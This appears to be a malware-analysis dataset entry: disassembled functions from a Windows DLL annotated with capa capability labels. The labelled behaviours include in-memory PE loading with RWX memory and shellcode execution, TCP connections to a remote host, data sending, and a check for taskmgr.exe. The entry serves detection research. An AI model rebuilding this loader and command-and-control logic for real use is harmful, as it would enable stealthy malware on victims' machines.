joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005c70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link function at runtime on windows

Disassembly:
push rbx
push r12
push r14
push r15
sub rsp, 0x28
mov rbx, qword [rcx + 8]
mov r12, rcx
xor ecx, ecx
mov r8d, 0x3000
movsxd r15, dword [rbx + 0x3c]
add r15, rbx
lea r9d, [rcx + 0x40]
mov edx, dword [r15 + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x180005e62
xor eax, eax
mov r10d, eax
cmp ax, word [r15 + 6]
jae 0x180005d04
lea r9, [r15 + 0x11c]
nop
mov ecx, dword [r9 - 8]
mov edx, dword [r9]
add rcx, r14
mov r8d, dword [r9 - 4]
add rdx, rbx
test r8d, r8d
je 0x180005cf3
nop word [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub r8d, 1
jne 0x180005ce0
movzx eax, word [r15 + 6]
inc r10d
add r9, 0x28
cmp r10d, eax
jl 0x180005cc0
cmp dword [r15 + 0xb4], 0
je 0x180005d84
mov eax, dword [r15 + 0xb0]
mov r11, r14
sub r11, qword [r15 + 0x30]
add rax, r14
mov ecx, dword [rax]
test ecx, ecx
je 0x180005d84
nop word [rax + rax]
mov r9d, dword [rax + 4]
lea rbx, [rax + 8]
sub r9, 8
mov r10d, ecx
shr r9, 1
add r10, r14
test r9d, r9d
je 0x180005d76
mov rcx, rbx
mov r8d, r9d
movzx eax, word [rcx]
mov edx, eax
shr eax, 0xc
and edx, 0xfff
cmp eax, 3
je 0x180005d68
cmp eax, 0xa
jne 0x180005d6c
add qword [rdx + r10], r11
add rcx, 2
sub r8, 1
jne 0x180005d50
mov eax, r9d
mov ecx, dword [rbx + rax*2]
lea rax, [rbx + rax*2]
test ecx, ecx
jne 0x180005d30
cmp dword [r15 + 0x94], 0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x20], r13
je 0x180005e1a
mov esi, dword [r15 + 0x90]
add rsi, r14
cmp dword [rsi], 0
je 0x180005e1a
movabs r13, 0x8000000080000000
nop dword [rax + rax]
mov ecx, dword [rsi + 0xc]
add rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
je 0x180005e4e
mov ebx, dword [rsi]
mov edi, dword [rsi + 0x10]
add rbx, r14
add rdi, r14
cmp dword [rbx], 0
je 0x180005e11
mov rax, qword [rbx]
mov rcx, rbp
test r13, rax
jne 0x180005df8
lea rdx, [r14 + 2]
add rdx, rax
jmp 0x180005dfb
movzx edx, ax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi], rax
add rbx, 8
add rdi, 8
cmp dword [rbx], 0
jne 0x180005de4
add rsi, 0x14
cmp dword [rsi], 0
jne 0x180005dc0
mov edx, dword [r15 + 0x50]
lea r9, [rsp + 0x50]
mov r8d, 0x40
mov dword [rsp + 0x50], 0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [r15 + 0x28]
mov edx, 1
mov r8, qword [r12]
add rax, r14
xor ecx, ecx
call rax
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
mov r13, qword [rsp + 0x20]
xor eax, eax
add rsp, 0x28
pop r15
pop r14
pop r12
pop rbx
ret
Function at 0x180006090
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor edi, edi
lea rax, vtable.hub::PluginLogin.0
mov rsi, rcx
mov qword [rcx], rax
cmp dword [rcx + 0x20], edi
jle 0x1800060e0
lea rbx, [rcx + 0x28]
nop word [rax + rax]
mov rcx, qword [rbx]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
lea rbx, [rbx + 8]
cmp edi, dword [rsi + 0x20]
jl 0x1800060c0
lea rdi, [rsi + 0x138b8]
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rdi + 8]
mov edx, 0x400
mov rcx, rdi
mov qword [rdi + 0x10], rax
call fcn.180005b50
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rcx, qword [rdi + 8]
lea rax, vtable.BufferStream.0
mov qword [rdi], rax
test rcx, rcx
je 0x180006131
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, qword [rsi + 0x10]
lea rax, vtable.hub::Plugin.0
mov qword [rsi], rax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
Function at 0x180006160
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, rcx
mov rsi, rdx
movzx ecx, byte [rdx]
test ecx, ecx
je 0x18000635b
sub ecx, 4
je 0x180006327
sub ecx, 1
je 0x180006317
mov qword [rsp + 0x70], rbx
sub ecx, 3
je 0x1800062dc
cmp ecx, 0x2d
je 0x1800062c3
mov edx, dword [0x180028ce8]
mov qword [rsp + 0x68], rbp
xor bpl, bpl
mov qword [rsp + 0x50], r15
xor r15d, r15d
mov ebx, r15d
test edx, edx
je 0x18000628a
mov qword [rsp + 0x60], r12
lea r12, [0x180005ed0]
mov qword [rsp + 0x58], r14
mov rcx, r15
cmp ebx, edx
jae 0x1800061f6
mov rax, qword [0x180028ce0]
mov ecx, ebx
mov rcx, qword [rax + rcx*8]
movzx eax, byte [rsi]
cmp byte [rcx], al
jne 0x180006271
mov ecx, reloc.WS2_32.dll_recv
mov bpl, 1
call fcn.1800077e4
mov r14, rax
mov qword [rax + 8], r12
mov ecx, dword [rdi + 8]
mov dword [rax], ecx
mov ecx, reloc.WS2_32.dll_recv
call fcn.1800077e4
cmp ebx, dword [0x180028ce8]
mov rcx, r15
jae 0x180006238
mov rcx, qword [0x180028ce0]
mov edx, ebx
mov rcx, qword [rcx + rdx*8]
mov rcx, qword [rcx + 8]
lea r8, [0x180005f40]
mov qword [rax + 8], rcx
mov r9, rax
lea rcx, [rsp + 0x34]
mov qword [rax], r14
mov qword [rsp + 0x28], rcx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x34], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x180028ce8]
inc ebx
cmp ebx, edx
jb 0x1800061e2
mov r14, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
test bpl, bpl
jne 0x1800062b9
movzx eax, byte [rsi]
lea rdx, [rsp + 0x30]
mov rcx, qword [rdi + 0x18]
mov r8d, 3
mov byte [rdi + 0x138a8], al
movzx eax, byte [rsi]
mov byte [rsp + 0x31], al
mov byte [rsp + 0x30], 0x84
mov byte [rsp + 0x32], 1
mov rax, qword [rcx]
call qword [rax + htons]
mov rbp, qword [rsp + 0x68]
mov r15, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800077c0
add rsp, 0x78
pop rdi
pop rsi
ret
lea rcx, [rdi + 0x138d8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rdi + 0x138c0]
lea rcx, [rdi + 0x138b8]
mov edx, 0x400
mov qword [rdi + 0x138c8], rax
call fcn.180005b50
lea rcx, [rdi + 0x138d8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1800062c3
dec r8d
inc rdx
mov rcx, rdi
call fcn.180006470
jmp 0x1800062c8
mov eax, dword [rdx + 5]
mov r8d, 9
mov rcx, qword [rdi + 0x18]
lea rdx, [rsp + 0x38]
mov qword [rdi + 0x138b0], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x38], WSAStartup
mov byte [rsp + 0x40], al
mov rax, qword [rcx]
call qword [rax + htons]
jmp 0x1800062c8
mov eax, 1
xchg dword [rdi + 0x24], eax
jmp 0x1800062c8
Function at 0x180006370
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x138c0], 0
mov rdi, rcx
jne 0x18000638b
xor eax, eax
jmp 0x180006397
mov eax, dword [rcx + 0x138c8]
sub eax, dword [rcx + 0x138c0]
mov edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x180006461
cmp qword [rdi + 0x138c0], 0
mov qword [rsp + 0x48], rbx
jne 0x1800063c3
xor ecx, ecx
jmp 0x1800063cf
mov ecx, dword [rdi + 0x138c8]
sub ecx, dword [rdi + 0x138c0]
mov rdx, qword [rdi + 0x138c0]
mov r8d, ecx
mov rcx, rax
call fcn.180009c20
mov ecx, reloc.WS2_32.dll_recv
call fcn.1800077e4
movzx edx, byte [rdi + 0x138a8]
mov byte [rax], dl
mov rdx, rax
mov qword [rax + 8], rsi
call fcn.1800065a0
mov ecx, reloc.WS2_32.dll_recv
call fcn.1800077e4
mov rbx, rax
mov ecx, reloc.WS2_32.dll_recv
lea rax, [0x180005ed0]
mov qword [rbx + 8], rax
mov edx, dword [rdi + 8]
mov dword [rbx], edx
call fcn.1800077e4
lea rcx, [rsp + 0x40]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x180005f40]
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rax + 8], rsi
xor edx, edx
mov qword [rax], rbx
mov dword [rsp + 0x40], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180006670
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1e0
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
xor esi, esi
lea rax, vtable.hub::TcpProvider.0
mov qword [rcx + 8], rsi
lea rdi, vtable.BufferStream.0
mov qword [rcx + 0x10], rsi
mov rbx, rcx
mov qword [rcx], rax
mov qword [rcx + 0x28], rdi
mov dword [rcx + 0x40], esi
mov qword [rcx + 0x30], rsi
mov qword [rcx + 0x38], rsi
add rcx, 0x48
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x90]
mov qword [rbx + 0x70], rdi
mov dword [rbx + 0x88], esi
mov qword [rbx + 0x78], rsi
mov qword [rbx + 0x80], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0xd8]
mov qword [rbx + 0xb8], rdi
mov dword [rbx + 0xd0], esi
mov qword [rbx + 0xc0], rsi
mov qword [rbx + 0xc8], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x120]
mov qword [rbx + 0x100], rdi
mov dword [rbx + 0x118], esi
mov qword [rbx + 0x108], rsi
mov qword [rbx + 0x110], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
lea edx, [rsi + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [rsp + 0x20], 0x70747468
mov ecx, dword [rsp + 0x20]
mov qword [rbx + 0x10], rax
mov rax, rbx
mov dword [rbx + 0x20], ecx
mov byte [rbx + 0x24], reloc.WS2_32.dll_WSAStartup
mov byte [rbx + 0x150], sil
mov qword [rbx + 8], 0xffffffffffffffff
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1800077c0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1800067b0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rax, qword [rcx]
mov esi, r8d
mov rdi, rdx
mov rbx, rcx
call qword [rax + 0x18]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 1
mov byte [rbx + 0x150], 0
mov ebp, 2
mov ecx, ebp
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbx + 8], rax
cmp rax, 0xffffffffffffffff
jne 0x180006815
xor al, al
jmp 0x180006913
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x18000680e
movzx ecx, si
mov word [rsp + 0x60], bp
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x62], ax
mov r8d, reloc.WS2_32.dll_recv
mov rax, qword [rdi + 0x18]
lea rdx, [rsp + 0x60]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov rcx, qword [rbx + 8]
mov dword [rsp + 0x64], eax
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x18000680e
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0x70]
xor eax, eax
mov byte [rsp + 0x70], 1
mov edx, 0xffff
mov dword [rsp + 0x71], eax
mov word [rsp + 0x75], ax
mov byte [rsp + 0x77], al
lea r8d, [rax + 8]
mov dword [rsp + 0x20], 1
call qword [sym.imp.WS2_32.dll_setsockopt]
xor edi, edi
test eax, eax
jne 0x1800068e6
mov rcx, qword [rbx + 8]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rdi
lea r9d, [rdi + 0xc]
mov qword [rsp + 0x38], rdi
lea r8, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 0x2bf20
mov dword [rsp + 0x58], 0x1388
call qword [sym.imp.WS2_32.dll_WSAIoctl]
mov qword [rsp + 0x28], rdi
lea r8, [0x180006fa0]
mov r9, rbx
mov dword [rsp + 0x20], edi
xor edx, edx
mov byte [rbx + 0x150], 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x148], rax
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1800077c0
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
Function at 0x180006940
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r14
sub rsp, 0x20
lea rbp, [rcx + 0xb8]
mov r14, rcx
lea rcx, [rbp + 0x20]
mov esi, r8d
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 8]
mov edx, 0x400
mov rcx, rbp
mov qword [rbp + 0x10], rax
call fcn.180005b50
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x1800069e5
test rdi, rdi
je 0x1800069e5
lea eax, [rsi + 0xd]
mov r8d, 5
lea rdx, [r14 + 0x20]
mov dword [rsp + 0x40], eax
mov rcx, rbp
call fcn.180005940
mov r8d, 4
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.180005940
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbp
call fcn.180005940
mov r8d, dword [rsp + 0x50]
mov rdx, rdi
mov rcx, rbp
jmp 0x180006a34
mov r8d, 5
lea rdx, [r14 + 0x20]
mov rcx, rbp
call fcn.180005940
lea rdi, [r14 + 0x100]
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rdi + 8]
mov edx, 0x400
mov rcx, rdi
mov qword [rdi + 0x10], rax
call fcn.180005b50
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r8d, 5
lea rdx, [r14 + 0x20]
mov rcx, rdi
call fcn.180005940
cmp qword [rbp + 8], 0
jne 0x180006a45
xor r8d, r8d
jmp 0x180006a4d
mov r8d, dword [rbp + 0x10]
sub r8d, dword [rbp + 8]
mov rdx, qword [r14 + 0xc0]
mov rcx, r14
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
jmp 0x180006a70
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15d, r8d
mov rbp, rdx
mov r14, rcx
mov edi, r8d
test r8d, r8d
je 0x180006af1
mov r12d, 0x19000
nop word [rax + rax]
xor ebx, ebx
mov esi, edi
cmp edi, r12d
cmova esi, r12d
nop dword [rax + rax]
mov rcx, qword [r14 + 8]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
test eax, eax
jg 0x180006ae8
cmp ebx, 0xf
je 0x180006b19
inc ebx
cmp ebx, 0xf
jle 0x180006ac0
jmp 0x180006aed
add rbp, rcx
sub edi, ecx
test edi, edi
jne 0x180006ab0
or eax, 0xffffffff
test edi, edi
cmove eax, r15d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
or eax, 0xffffffff
jmp 0x180006afa
Function at 0x180006a70
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x18], r8d
push rsi
push rdi
push r14
sub rsp, 0x20
lea rbp, [rcx + 0xb8]
mov r14, rcx
lea rcx, [rbp + 0x20]
mov esi, r8d
mov rdi, rdx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbp + 8]
mov edx, 0x400
mov rcx, rbp
mov qword [rbp + 0x10], rax
call fcn.180005b50
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x1800069e5
test rdi, rdi
je 0x1800069e5
lea eax, [rsi + 0xd]
mov r8d, 5
lea rdx, [r14 + 0x20]
mov dword [rsp + 0x40], eax
mov rcx, rbp
call fcn.180005940
mov r8d, 4
lea rdx, [rsp + 0x40]
mov rcx, rbp
call fcn.180005940
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbp
call fcn.180005940
mov r8d, dword [rsp + 0x50]
mov rdx, rdi
mov rcx, rbp
jmp 0x180006a34
mov r8d, 5
lea rdx, [r14 + 0x20]
mov rcx, rbp
call fcn.180005940
lea rdi, [r14 + 0x100]
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rdi + 8]
mov edx, 0x400
mov rcx, rdi
mov qword [rdi + 0x10], rax
call fcn.180005b50
lea rcx, [rdi + 0x20]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov r8d, 5
lea rdx, [r14 + 0x20]
mov rcx, rdi
call fcn.180005940
cmp qword [rbp + 8], 0
jne 0x180006a45
xor r8d, r8d
jmp 0x180006a4d
mov r8d, dword [rbp + 0x10]
sub r8d, dword [rbp + 8]
mov rdx, qword [r14 + 0xc0]
mov rcx, r14
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop rdi
pop rsi
jmp 0x180006a70
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov r15d, r8d
mov rbp, rdx
mov r14, rcx
mov edi, r8d
test r8d, r8d
je 0x180006af1
mov r12d, 0x19000
nop word [rax + rax]
xor ebx, ebx
mov esi, edi
cmp edi, r12d
cmova esi, r12d
nop dword [rax + rax]
mov rcx, qword [r14 + 8]
xor r9d, r9d
mov r8d, esi
mov rdx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rcx, eax
test eax, eax
jg 0x180006ae8
cmp ebx, 0xf
je 0x180006b19
inc ebx
cmp ebx, 0xf
jle 0x180006ac0
jmp 0x180006aed
add rbp, rcx
sub edi, ecx
test edi, edi
jne 0x180006ab0
or eax, 0xffffffff
test edi, edi
cmove eax, r15d
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
or eax, 0xffffffff
jmp 0x180006afa

Function at 0x180006f30
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x40], 1
mov rcx, qword [rcx + 8]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
xor ebx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x150], ebx
mov rcx, qword [rdi + 8]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 8], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x180007110
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0xa0]
mov r8d, 0x80
call fcn.18000a6f0
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x80
call fcn.18000a6f0
mov edx, 0x80
lea rcx, [rsp + 0xa0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdi, rax
test rax, rax
je 0x180007200
mov qword [rsp + 0x148], rbx
xor ebx, ebx
nop dword [rax]
mov rcx, qword [rdi + 0x18]
mov rdx, qword [rbx + rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov edx, 0x80
lea rcx, [rsp + 0x20]
mov r8, rax
call fcn.18000d57c
mov rax, qword [rdi + 0x18]
movsx r8, word [rdi + 0x12]
add r8, qword [rax + rbx]
cmp r8, qword [rdi]
jae 0x1800071e4
lea r8, [0x180023cec]
mov edx, 0x80
lea rcx, [rsp + 0x20]
call fcn.18000d57c
add rbx, 8
cmp rbx, 0x38
jl 0x180007190
lea r8, [rsp + 0x20]
mov edx, 0x80
mov rcx, rsi
call fcn.18000d258
mov rbx, qword [rsp + 0x148]
mov al, 1
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.1800077c0
mov rsi, qword [rsp + 0x150]
add rsp, 0x130
pop rdi
ret

Function at 0x180007230
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x180027008]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x130
call fcn.18000a6f0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
test rax, rax
je 0x1800072c0
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1800072b7
nop word [rax + rax]
lea rdx, str.taskmgr.exe
lea rcx, [rsp + 0x4c]
call fcn.18000e754
mov rcx, rbx
test eax, eax
je 0x1800072db
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180007290
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800077c0
add rsp, 0x160
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1800072c2
Function at 0x1800076b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbx
mov qword [r11 + 0x18], r8
mov qword [r11 + 0x10], rdx
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x30
mov rdi, r9
lea rax, [r11 + 8]
xor ebx, ebx
mov qword [r11 - 0x18], rax
mov r9d, 0x20019
mov qword [r11 + 8], rbx
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionNetworkPlatformLocation_Awareness
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1800077a0
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
lea rdx, str.LoadList
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800077a0
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1800077a0
mov rbx, qword [rsp + 0x60]
mov ecx, dword [rbx]
cmp ecx, eax
jb 0x1800077a0
mov r8d, ecx
xor edx, edx
mov rcx, rdi
call fcn.18000a6f0
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
lea rdx, str.LoadList
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1800077a0
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1800077a0
mov rcx, qword [rsp + 0x40]
mov dword [rbx], eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
xor al, al
mov rbx, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x180007ac8
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x180000000], ax
jne 0x180007b59
movsxd rax, dword [0x18000003c]
lea rdx, [0x180000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x180007b59
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x180007b59
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x180007b3d
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x180007b37
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x180007b3f
add rdx, 0x28
jmp 0x180007b1c
xor edx, edx
test rdx, rdx
jne 0x180007b48
xor al, al
jmp 0x180007b5f
test dword [rdx + 0x24], 0x80000000
je 0x180007b55
xor al, al
jmp 0x180007b5f
mov al, 1
jmp 0x180007b5f
xor al, al
jmp 0x180007b5f
add rsp, 0x18
ret